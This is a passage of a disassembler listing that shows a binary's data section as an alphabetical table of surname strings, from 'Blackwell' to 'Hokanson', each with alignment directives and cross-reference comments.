aBlackwell	db 'Blackwell',0        ; DATA XREF: .nsp0:004455ECo
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .nsp0:004455F0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .nsp0:004455F4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .nsp0:004455F8o
		align 10h
aBliss		db 'Bliss',0            ; DATA XREF: .nsp0:004455FCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .nsp0:00445600o
aBloch		db 'Bloch',0            ; DATA XREF: .nsp0:00445604o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .nsp0:00445608o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .nsp0:0044560Co
		align 10h
aBloxham	db 'Bloxham',0          ; DATA XREF: .nsp0:00445610o
aBlyth		db 'Blyth',0            ; DATA XREF: .nsp0:00445614o
		align 10h
aBolger		db 'Bolger',0           ; DATA XREF: .nsp0:00445618o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .nsp0:0044561Co
		align 10h
aBollinger	db 'Bollinger',0        ; DATA XREF: .nsp0:00445620o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: .nsp0:00445624o
aBoner_0	db 'Boner',0            ; DATA XREF: .nsp0:00445628o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: .nsp0:0044562Co
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .nsp0:00445630o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: .nsp0:00445634o
		align 4
aBook_0		db 'Book',0             ; DATA XREF: .nsp0:00445638o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .nsp0:0044563Co
		align 10h
aBoone		db 'Boone',0            ; DATA XREF: .nsp0:00445640o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: .nsp0:00445644o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .nsp0:00445648o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: .nsp0:0044564Co
		align 4
aBossi		db 'Bossi',0            ; DATA XREF: .nsp0:00445650o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: .nsp0:00445654o
aBotosh		db 'Botosh',0           ; DATA XREF: .nsp0:00445658o
		align 4
aBoudin		db 'Boudin',0           ; DATA XREF: .nsp0:0044565Co
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .nsp0:00445660o
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .nsp0:00445664o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .nsp0:00445668o
		align 10h
aBoxer		db 'Boxer',0            ; DATA XREF: .nsp0:0044566Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: .nsp0:00445670o
		align 4
aBoyes		db 'Boyes',0            ; DATA XREF: .nsp0:00445674o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: .nsp0:00445678o
aBoym		db 'Boym',0             ; DATA XREF: .nsp0:0044567Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: .nsp0:00445680o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .nsp0:00445684o
		align 10h
aBradac		db 'Bradac',0           ; DATA XREF: .nsp0:00445688o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .nsp0:0044568Co
aBrecht		db 'Brecht',0           ; DATA XREF: .nsp0:00445690o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .nsp0:00445694o
		align 10h
aBrenan		db 'Brenan',0           ; DATA XREF: .nsp0:00445698o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .nsp0:0044569Co
aBrewer		db 'Brewer',0           ; DATA XREF: .nsp0:004456A0o
		align 4
aBrewer_0	db 'Brewer',0           ; DATA XREF: .nsp0:004456A4o
		align 10h
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .nsp0:004456A8o
		align 4
aBridges	db 'Bridges',0          ; DATA XREF: .nsp0:004456ACo
aBrinton	db 'Brinton',0          ; DATA XREF: .nsp0:004456B0o
aBritz		db 'Britz',0            ; DATA XREF: .nsp0:004456B4o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: .nsp0:004456B8o
		align 4
aBrook		db 'Brook',0            ; DATA XREF: .nsp0:004456BCo
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: .nsp0:004456C0o
aBuchan		db 'Buchan',0           ; DATA XREF: .nsp0:004456C4o
		align 4
aBudding	db 'Budding',0          ; DATA XREF: .nsp0:004456C8o
aBullard	db 'Bullard',0          ; DATA XREF: .nsp0:004456CCo
aBunton		db 'Bunton',0           ; DATA XREF: .nsp0:004456D0o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .nsp0:004456D4o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: .nsp0:004456D8o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .nsp0:004456DCo
		align 4
aBurridge	db 'Burridge',0         ; DATA XREF: .nsp0:004456E0o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: .nsp0:004456E4o
aByatt		db 'Byatt',0            ; DATA XREF: .nsp0:004456E8o
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: .nsp0:004456ECo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .nsp0:004456F0o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: .nsp0:004456F4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .nsp0:004456F8o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: .nsp0:004456FCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .nsp0:00445700o
		align 4
aCanley		db 'Canley',0           ; DATA XREF: .nsp0:00445704o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: .nsp0:00445708o
aCaperton	db 'Caperton',0         ; DATA XREF: .nsp0:0044570Co
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .nsp0:00445710o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .nsp0:00445714o
		align 4
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .nsp0:00445718o
		align 4
aCapursi	db 'Capursi',0          ; DATA XREF: .nsp0:0044571Co
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .nsp0:00445720o
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .nsp0:00445724o
aCarlin		db 'Carlin',0           ; DATA XREF: .nsp0:00445728o
		align 4
aCarlos		db 'Carlos',0           ; DATA XREF: .nsp0:0044572Co
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .nsp0:00445730o
aCarmichael	db 'Carmichael',0       ; DATA XREF: .nsp0:00445734o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: .nsp0:00445738o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .nsp0:0044573Co
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: .nsp0:00445740o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .nsp0:00445744o
		align 4
aCase		db 'Case',0             ; DATA XREF: .nsp0:00445748o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .nsp0:0044574Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .nsp0:off_445750o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .nsp0:00445754o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .nsp0:00445758o
		align 4
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .nsp0:0044575Co
		align 10h
aCerioli	db 'Cerioli',0          ; DATA XREF: .nsp0:00445760o
aChapman	db 'Chapman',0          ; DATA XREF: .nsp0:00445764o
aCharles_0	db 'Charles',0          ; DATA XREF: .nsp0:00445768o
aCheang		db 'Cheang',0           ; DATA XREF: .nsp0:0044576Co
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: .nsp0:00445770o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .nsp0:00445774o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .nsp0:00445778o
		align 10h
aChien		db 'Chien',0            ; DATA XREF: .nsp0:0044577Co
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .nsp0:00445780o
		align 4
aChilds		db 'Childs',0           ; DATA XREF: .nsp0:00445784o
		align 4
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .nsp0:00445788o
aChinman	db 'Chinman',0          ; DATA XREF: .nsp0:0044578Co
aChristenson	db 'Christenson',0      ; DATA XREF: .nsp0:00445790o
aChristian	db 'Christian',0        ; DATA XREF: .nsp0:00445794o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .nsp0:00445798o
		align 4
aChristie	db 'Christie',0         ; DATA XREF: .nsp0:0044579Co
		align 10h
aChristopher	db 'Christopher',0      ; DATA XREF: .nsp0:004457A0o
aChu		db 'Chu',0              ; DATA XREF: .nsp0:004457A4o
aChupasko	db 'Chupasko',0         ; DATA XREF: .nsp0:004457A8o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .nsp0:004457ACo
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .nsp0:004457B0o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: .nsp0:004457B4o
		align 4
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .nsp0:004457B8o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: .nsp0:004457BCo
aClancy		db 'Clancy',0           ; DATA XREF: .nsp0:004457C0o
		align 4
aClark		db 'Clark',0            ; DATA XREF: .nsp0:004457C4o
		align 4
aClement	db 'Clement',0          ; DATA XREF: .nsp0:004457C8o
aClifton	db 'Clifton',0          ; DATA XREF: .nsp0:004457CCo
aClow		db 'Clow',0             ; DATA XREF: .nsp0:004457D0o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: .nsp0:004457D4o
aCoito		db 'Coito',0            ; DATA XREF: .nsp0:004457D8o
		align 4
aColdren	db 'Coldren',0          ; DATA XREF: .nsp0:004457DCo
aColella	db 'Colella',0          ; DATA XREF: .nsp0:004457E0o
aCollard	db 'Collard',0          ; DATA XREF: .nsp0:004457E4o
aCollis		db 'Collis',0           ; DATA XREF: .nsp0:004457E8o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: .nsp0:004457ECo
aCompton_0	db 'Compton',0          ; DATA XREF: .nsp0:004457F0o
aComstock	db 'Comstock',0         ; DATA XREF: .nsp0:004457F4o
		align 10h
aConcino	db 'Concino',0          ; DATA XREF: .nsp0:004457F8o
aCondodina	db 'Condodina',0        ; DATA XREF: .nsp0:004457FCo
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .nsp0:00445800o
aCorey		db 'Corey',0            ; DATA XREF: .nsp0:00445804o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .nsp0:00445808o
aCosmides	db 'Cosmides',0         ; DATA XREF: .nsp0:0044580Co
		align 4
aCounter	db 'Counter',0          ; DATA XREF: .nsp0:00445810o
aCoutaux	db 'Coutaux',0          ; DATA XREF: .nsp0:00445814o
aCrawford	db 'Crawford',0         ; DATA XREF: .nsp0:00445818o
		align 4
aCrocker	db 'Crocker',0          ; DATA XREF: .nsp0:0044581Co
aCroshaw	db 'Croshaw',0          ; DATA XREF: .nsp0:00445820o
aCroxen		db 'Croxen',0           ; DATA XREF: .nsp0:00445824o
		align 4
aCroxton	db 'Croxton',0          ; DATA XREF: .nsp0:00445828o
aCui		db 'Cui',0              ; DATA XREF: .nsp0:0044582Co
aCurrier	db 'Currier',0          ; DATA XREF: .nsp0:00445830o
aCutler		db 'Cutler',0           ; DATA XREF: .nsp0:00445834o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .nsp0:00445838o
		align 10h
aCyders		db 'Cyders',0           ; DATA XREF: .nsp0:0044583Co
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .nsp0:00445840o
aDaldalian	db 'Daldalian',0        ; DATA XREF: .nsp0:00445844o
		align 4
aDaly		db 'Daly',0             ; DATA XREF: .nsp0:00445848o
		align 4
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .nsp0:0044584Co
aDanieli	db 'Danieli',0          ; DATA XREF: .nsp0:00445850o
aDante		db 'Dante',0            ; DATA XREF: .nsp0:00445854o
		align 4
aDapice		db 'Dapice',0           ; DATA XREF: .nsp0:00445858o
		align 4
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .nsp0:0044585Co
aDas		db 'Das',0              ; DATA XREF: .nsp0:00445860o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .nsp0:00445864o
		align 10h
aDaskalu	db 'Daskalu',0          ; DATA XREF: .nsp0:00445868o
aDavid		db 'David',0            ; DATA XREF: .nsp0:0044586Co
		align 10h
aDawkins	db 'Dawkins',0          ; DATA XREF: .nsp0:00445870o
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .nsp0:00445874o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .nsp0:00445878o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .nsp0:0044587Co
		align 4
aDerousse	db 'deRousse',0         ; DATA XREF: .nsp0:00445880o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .nsp0:00445884o
aDees		db 'Dees',0             ; DATA XREF: .nsp0:00445888o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: .nsp0:0044588Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .nsp0:00445890o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .nsp0:00445894o
		align 10h
aDelger		db 'Delger',0           ; DATA XREF: .nsp0:00445898o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .nsp0:0044589Co
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .nsp0:004458A0o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .nsp0:004458A4o
		align 4
aDemusz		db 'Demusz',0           ; DATA XREF: .nsp0:004458A8o
		align 10h
aDenault	db 'Denault',0          ; DATA XREF: .nsp0:004458ACo
aDenham		db 'Denham',0           ; DATA XREF: .nsp0:004458B0o
		align 10h
aDenison	db 'Denison',0          ; DATA XREF: .nsp0:004458B4o
aDesombre	db 'Desombre',0         ; DATA XREF: .nsp0:004458B8o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .nsp0:004458BCo
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .nsp0:004458C0o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .nsp0:004458C4o
		align 4
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .nsp0:004458C8o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .nsp0:004458CCo
aDifronzo	db 'Difronzo',0         ; DATA XREF: .nsp0:004458D0o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .nsp0:004458D4o
		align 4
aDionysius	db 'Dionysius',0        ; DATA XREF: .nsp0:004458D8o
		align 4
aDirksen	db 'Dirksen',0          ; DATA XREF: .nsp0:004458DCo
aDockery	db 'Dockery',0          ; DATA XREF: .nsp0:004458E0o
aDoherty	db 'Doherty',0          ; DATA XREF: .nsp0:004458E4o
aDonahue	db 'Donahue',0          ; DATA XREF: .nsp0:004458E8o
aDonner		db 'Donner',0           ; DATA XREF: .nsp0:004458ECo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: .nsp0:004458F0o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .nsp0:004458F4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: .nsp0:004458F8o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .nsp0:004458FCo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: .nsp0:00445900o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .nsp0:00445904o
		align 4
aDowsland	db 'Dowsland',0         ; DATA XREF: .nsp0:00445908o
		align 4
aDrinker	db 'Drinker',0          ; DATA XREF: .nsp0:0044590Co
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .nsp0:00445910o
aDuffin		db 'Duffin',0           ; DATA XREF: .nsp0:00445914o
		align 10h
aDurrett	db 'Durrett',0          ; DATA XREF: .nsp0:00445918o
aDussault	db 'Dussault',0         ; DATA XREF: .nsp0:0044591Co
		align 4
aDwyer		db 'Dwyer',0            ; DATA XREF: .nsp0:00445920o
		align 4
aEardley	db 'Eardley',0          ; DATA XREF: .nsp0:00445924o
aEbeling	db 'Ebeling',0          ; DATA XREF: .nsp0:00445928o
aEckel		db 'Eckel',0            ; DATA XREF: .nsp0:0044592Co
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .nsp0:00445930o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: .nsp0:00445934o
		align 4
aEdward		db 'Edward',0           ; DATA XREF: .nsp0:00445938o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .nsp0:0044593Co
aEliasson	db 'Eliasson',0         ; DATA XREF: .nsp0:00445940o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .nsp0:00445944o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: .nsp0:00445948o
		align 4
aElvis		db 'Elvis',0            ; DATA XREF: .nsp0:0044594Co
		align 4
aEncinas	db 'Encinas',0          ; DATA XREF: .nsp0:00445950o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .nsp0:00445954o
aEppling	db 'Eppling',0          ; DATA XREF: .nsp0:00445958o
aErbach		db 'Erbach',0           ; DATA XREF: .nsp0:0044595Co
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .nsp0:00445960o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: .nsp0:00445964o
		align 4
aErez		db 'Erez',0             ; DATA XREF: .nsp0:00445968o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .nsp0:0044596Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .nsp0:00445970o
		align 10h
aEtter		db 'Etter',0            ; DATA XREF: .nsp0:00445974o
		align 4
aEuripides	db 'Euripides',0        ; DATA XREF: .nsp0:00445978o
		align 4
aEverett	db 'Everett',0          ; DATA XREF: .nsp0:0044597Co
aFabbris	db 'Fabbris',0          ; DATA XREF: .nsp0:00445980o
aFagan		db 'Fagan',0            ; DATA XREF: .nsp0:00445984o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: .nsp0:00445988o
		align 4
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .nsp0:0044598Co
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .nsp0:00445990o
aFaris		db 'Faris',0            ; DATA XREF: .nsp0:00445994o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .nsp0:00445998o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: .nsp0:0044599Co
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .nsp0:004459A0o
		align 4
aFates		db 'Fates',0            ; DATA XREF: .nsp0:004459A4o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .nsp0:004459A8o
		align 10h
aFejzo		db 'Fejzo',0            ; DATA XREF: .nsp0:004459ACo
		align 4
aFeldman	db 'Feldman',0          ; DATA XREF: .nsp0:004459B0o
aFernald	db 'Fernald',0          ; DATA XREF: .nsp0:004459B4o
aFernandes	db 'Fernandes',0        ; DATA XREF: .nsp0:004459B8o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .nsp0:004459BCo
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: .nsp0:004459C0o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: .nsp0:004459C4o
		align 4
aFido		db 'Fido',0             ; DATA XREF: .nsp0:004459C8o
		align 4
aField_0	db 'Field',0            ; DATA XREF: .nsp0:004459CCo
		align 4
aFink		db 'Fink',0             ; DATA XREF: .nsp0:004459D0o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .nsp0:004459D4o
aFinnegan	db 'Finnegan',0         ; DATA XREF: .nsp0:004459D8o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .nsp0:004459DCo
aFisk		db 'Fisk',0             ; DATA XREF: .nsp0:004459E0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .nsp0:004459E4o
aFlier		db 'Flier',0            ; DATA XREF: .nsp0:004459E8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .nsp0:004459ECo
		align 10h
aFolks		db 'Folks',0            ; DATA XREF: .nsp0:004459F0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: .nsp0:004459F4o
		align 4
aFortes		db 'Fortes',0           ; DATA XREF: .nsp0:004459F8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: .nsp0:004459FCo
aFossey		db 'Fossey',0           ; DATA XREF: .nsp0:00445A00o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: .nsp0:00445A04o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .nsp0:00445A08o
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .nsp0:00445A0Co
		align 10h
aFranz		db 'Franz',0            ; DATA XREF: .nsp0:00445A10o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .nsp0:00445A14o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .nsp0:00445A18o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: .nsp0:00445A1Co
		align 4
aFried		db 'Fried',0            ; DATA XREF: .nsp0:00445A20o
		align 4
aFriedland	db 'Friedland',0        ; DATA XREF: .nsp0:00445A24o
		align 10h
aFrisken	db 'Frisken',0          ; DATA XREF: .nsp0:00445A28o
aFrowiss	db 'Frowiss',0          ; DATA XREF: .nsp0:00445A2Co
aFryberger	db 'Fryberger',0        ; DATA XREF: .nsp0:00445A30o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: .nsp0:00445A34o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .nsp0:00445A38o
		align 10h
aFuller		db 'Fuller',0           ; DATA XREF: .nsp0:00445A3Co
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .nsp0:00445A40o
		align 10h
aFusaro		db 'Fusaro',0           ; DATA XREF: .nsp0:00445A44o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .nsp0:00445A48o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .nsp0:00445A4Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: .nsp0:00445A50o
		align 4
aGalwey		db 'Galwey',0           ; DATA XREF: .nsp0:00445A54o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .nsp0:00445A58o
aGarfield_0	db 'Garfield',0         ; DATA XREF: .nsp0:00445A5Co
		align 4
aGarman		db 'Garman',0           ; DATA XREF: .nsp0:00445A60o
		align 10h
aGaronna	db 'Garonna',0          ; DATA XREF: .nsp0:00445A64o
aGeller		db 'Geller',0           ; DATA XREF: .nsp0:00445A68o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: .nsp0:00445A6Co
		align 4
aGeorgi		db 'Georgi',0           ; DATA XREF: .nsp0:00445A70o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .nsp0:00445A74o
aGhorai		db 'Ghorai',0           ; DATA XREF: .nsp0:00445A78o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .nsp0:00445A7Co
aGibson_0	db 'Gibson',0           ; DATA XREF: .nsp0:00445A80o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .nsp0:00445A84o
aGili		db 'Gili',0             ; DATA XREF: .nsp0:00445A88o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .nsp0:00445A8Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .nsp0:00445A90o
		align 4
aGist		db 'Gist',0             ; DATA XREF: .nsp0:00445A94o
		align 10h
aGleason	db 'Gleason',0          ; DATA XREF: .nsp0:00445A98o
aGlegg		db 'Glegg',0            ; DATA XREF: .nsp0:00445A9Co
		align 10h
aGlendon	db 'Glendon',0          ; DATA XREF: .nsp0:00445AA0o
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .nsp0:00445AA4o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .nsp0:00445AA8o
		align 10h
aGood_0		db 'Good',0             ; DATA XREF: .nsp0:00445AACo
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: .nsp0:00445AB0o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .nsp0:00445AB4o
		align 4
aGozzi		db 'Gozzi',0            ; DATA XREF: .nsp0:00445AB8o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .nsp0:00445ABCo
aGreenberg	db 'Greenberg',0        ; DATA XREF: .nsp0:00445AC0o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .nsp0:00445AC4o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .nsp0:00445AC8o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .nsp0:00445ACCo
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .nsp0:00445AD0o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .nsp0:00445AD4o
		align 10h
aGruppe		db 'Gruppe',0           ; DATA XREF: .nsp0:00445AD8o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: .nsp0:00445ADCo
		align 4
aGunn		db 'Gunn',0             ; DATA XREF: .nsp0:00445AE0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .nsp0:00445AE4o
aHa		db 'Ha',0               ; DATA XREF: .nsp0:00445AE8o
		align 4
aHaar		db 'Haar',0             ; DATA XREF: .nsp0:00445AECo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: .nsp0:00445AF0o
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .nsp0:00445AF4o
		align 10h
aHaley		db 'Haley',0            ; DATA XREF: .nsp0:00445AF8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .nsp0:00445AFCo
aHallowell	db 'Hallowell',0        ; DATA XREF: .nsp0:00445B00o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: .nsp0:00445B04o
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .nsp0:00445B08o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .nsp0:00445B0Co
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .nsp0:00445B10o
		align 4
aHand		db 'Hand',0             ; DATA XREF: .nsp0:00445B14o
		align 10h
aHanssen	db 'Hanssen',0          ; DATA XREF: .nsp0:00445B18o
aHarding	db 'Harding',0          ; DATA XREF: .nsp0:00445B1Co
aHargraves	db 'Hargraves',0        ; DATA XREF: .nsp0:00445B20o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: .nsp0:00445B24o
		align 4
aHarrigan	db 'Harrigan',0         ; DATA XREF: .nsp0:00445B28o
		align 10h
aHartman	db 'Hartman',0          ; DATA XREF: .nsp0:00445B2Co
aHartmann	db 'Hartmann',0         ; DATA XREF: .nsp0:00445B30o
		align 4
aHartnett	db 'Hartnett',0         ; DATA XREF: .nsp0:00445B34o
		align 10h
aHarwell	db 'Harwell',0          ; DATA XREF: .nsp0:00445B38o
aHaviaras	db 'Haviaras',0         ; DATA XREF: .nsp0:00445B3Co
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: .nsp0:00445B40o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: .nsp0:00445B44o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: .nsp0:00445B48o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .nsp0:00445B4Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: .nsp0:00445B50o
		align 4
aHeft		db 'Heft',0             ; DATA XREF: .nsp0:00445B54o
		align 4
aHeiland	db 'Heiland',0          ; DATA XREF: .nsp0:00445B58o
aHellman	db 'Hellman',0          ; DATA XREF: .nsp0:00445B5Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .nsp0:00445B60o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .nsp0:00445B64o
aHemphill	db 'Hemphill',0         ; DATA XREF: .nsp0:00445B68o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: .nsp0:00445B6Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .nsp0:00445B70o
		align 10h
aHernandez	db 'Hernandez',0        ; DATA XREF: .nsp0:00445B74o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: .nsp0:00445B78o
aHester		db 'Hester',0           ; DATA XREF: .nsp0:00445B7Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: .nsp0:00445B80o
aHeyeck		db 'Heyeck',0           ; DATA XREF: .nsp0:00445B84o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .nsp0:00445B88o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .nsp0:00445B8Co
		align 10h
aHirst		db 'Hirst',0            ; DATA XREF: .nsp0:00445B90o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .nsp0:00445B94o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: .nsp0:00445B98o
		align 4
aHock		db 'Hock',0             ; DATA XREF: .nsp0:00445B9Co
		align 4
aHoffer		db 'Hoffer',0           ; DATA XREF: .nsp0:00445BA0o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: .nsp0:00445BA4o
aHokanson	db 'Hokanson',0         ; DATA XREF: .nsp0:00445BA8o
		align 10h
